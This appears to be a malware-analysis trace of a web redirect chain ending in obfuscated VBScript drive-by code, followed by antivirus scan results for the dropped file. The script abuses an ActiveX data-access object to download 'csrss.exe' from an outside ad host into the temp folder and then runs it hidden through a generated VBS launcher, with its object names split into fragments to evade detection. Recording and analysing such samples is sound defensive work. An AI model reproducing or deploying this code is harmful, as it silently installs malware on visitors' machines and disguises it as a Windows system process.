http://www.cncrk.com/ >>> http://ad2.mayiad.com/code/ad010.asp?id=211 >>> http://ad2.mayiad.com/code/id_detai.htm >>>
on error resume next curl="http://ad2.mayiad.com/soft/csrss.exe" fname1="csrss.exe" fname2="csrss.vbs" Set df = document.createElement("object") df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" str="Microsoft.XMLHTTP" Set x = df.CreateObject(str,"") C1="Ado" C2="db." C3="str" C4="eam" str1=C1&C2&C3&C4 str5=str1 set S = df.createobject(str5,"") S.type = 1 str6="GET" x.Open str6, curl, False x.Send s1="Script" s2="ing." s3="File" s4="SystemObject" s0=s1+s2+s3+s4 set F = df.createobject(s0,"") set tmp = F.GetSpecialFolder(2) fname1= F.BuildPath(tmp,fname1) S.open S.write x.responseBody S.savetofile fname1,2 S.close fname2= F.BuildPath(tmp,fname2) Set ts = F.OpenTextFile(fname2, 2, True) ts.WriteLine "Set Shell = CreateObject(""Shell.Application"")" sql="Shell.ShellExecute """+fname1+""","""","""",""open"",0" ts.WriteLine sql ts.close if F.FileExists(fname1)=true then if F.FileExists(fname2)=true then set Q = df.createobject("Shell.Application","") Q.ShellExecute fname2,"","","open",0 end if end if
>>> http://ad2.mayiad.com/soft/csrss.exe
>>>
ArcaVir | 1.0.4 | Clean | 2.73823 secs | avast! | 3.0.0 | Clean | 0.015183 secs | AVG Anti Virus | 7.5.45 | Clean | 2.27977 secs | BitDefender | 7.1 | Clean | 3.92912 secs | CAT QuickHeal | 9.00 | Clean | 4.47865 secs | ClamAV | 0.90/3028 | Clean | 0.245847 secs | Dr. Web | 4.33.0 | Clean | 8.09897 secs | F-PROT | 4.6.7 | Unknown | 20.0971 secs | F-Secure | 1.02 | Clean | 0.351564 secs | H+BEDV AntiVir | 2.1.10-32 | NULL | 5.32925 secs | McAfee Virusscan | 5.10.0 | New Malware.aq | 1.61741 secs | NOD32 | 2.51.1 | Clean | 7.94989 secs | Norman Virus Control | 5.70.01 | NULL | 6.24114 secs | Panda | 9.00.00 | Clean | 1.50192 secs | Sophos Sweep | 4.16.0 | Mal/Packer | 4.00671 secs | Trend Micro | 8.310-1002 | Clean | 0.0624151 secs | VBA32 | 3.11.3 | Clean | 6.62701 secs | VirusBuster | 1.3.3 | Packed/NSPack | 2.11167 secs |
|